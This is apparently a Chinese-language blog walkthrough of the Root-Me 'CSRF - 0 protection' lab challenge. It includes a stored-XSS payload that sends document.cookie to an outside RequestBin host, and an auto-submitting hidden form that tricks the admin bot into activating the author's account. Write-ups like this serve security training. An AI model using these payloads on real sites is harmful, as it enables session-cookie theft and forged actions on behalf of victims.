加载中...

【Root-Me】 CSRF - 0 protection



已经很直白提示是 CSRF 题型。

点击 Register 随意注册一个账号,如 exp,密码 123456

然后点击 Login 登录,登录后点击 Profile 切到个人档案,发现有 4 个选项卡,其中:

  • Contact : 可以发送一条消息给 admin 留言, 有个 robot-admin 会定时轮询查看
  • Profile : 激活当前账号,但是非 admin 无法操作
  • Private : 查看账号激活后信息,这就是最终目标
  • Logout : 登出,没用

很明显 Contact 就是注入点,且通过抓取 HTTP 请求发现, Email 虽然会校验格式,但是可以不填,而且也不会作为 HTTP 请求的参数发送出去,因此注入点就是 Comment 输入框。

至此,解此题有两种思路:

  • ① 使用【Web-Client : XSS - Stored 1】的思路把 admin 的 Cookie 发到我们的服务器,窃取其 Cookie 后再激活
  • ② 直接构造 CSRF 伪装 admin 的身份进行激活

首先试试第 ① 种思路,在 Contact 选项卡的 Comment 输入框构造一个 payloads 提交:

<srcipt>document.write("<img src='${HOST}?tk='"+document.cookie+" />");</srcipt>

(其中 ${HOST} 是使用 RequestBin 生成的临时 HTTP 服务器,详见【Web-Client : XSS - Stored 1】,不再赘述)

提交成功后会提示 Your message has been posted. The administrator will contact you later.

等了一会, RequestBin 服务器收到了消息,说明我们注入 XSS 成功,但是消息中并没有 admin 的 Cookie ,很可能是 Cookie 启用了 HttpOnly 的缘故,因此第 ① 种思路不可行,改用第 ② 种思路,即 CSRF。

要执行 CSRF ,即需要令 admin 在读取 Comment 的时候触发一个激活账号的 POST,因此需要先获得这个 POST 请求的格式,再构造我们期望的内容。

切到 Profile 选项卡,发现 Status 是不可用的,并且点击 submit 后提示 You're not an admin!,不过不影响我们捕获 POST 请求。

打开浏览器开发者工具,切到 Elements ,把 Status 的 disabled 属性删掉。

打开 Burp Suite -> Proxy -> HTTP history ,然后点击页面的 submit 按钮,即可捕获到激活账号的 POST 请求。

利用这个 POST 请求可以构造 payloads 如下,将其拷贝到 Contact 选项卡的 Comment 输入框提交即可:

<form name="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
    <input type="hidden" name="username" value="exp">  <!-- 激活账号,根据实际修改  -->
    <input type="hidden" name="status" value="on">  <!-- 激活动作 -->
</form>
<script>document.csrf.submit()</script>

多刷新几次 Private 选项卡,等待 robot-admin 触发 payloads,最终得到 flag,完成挑战。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录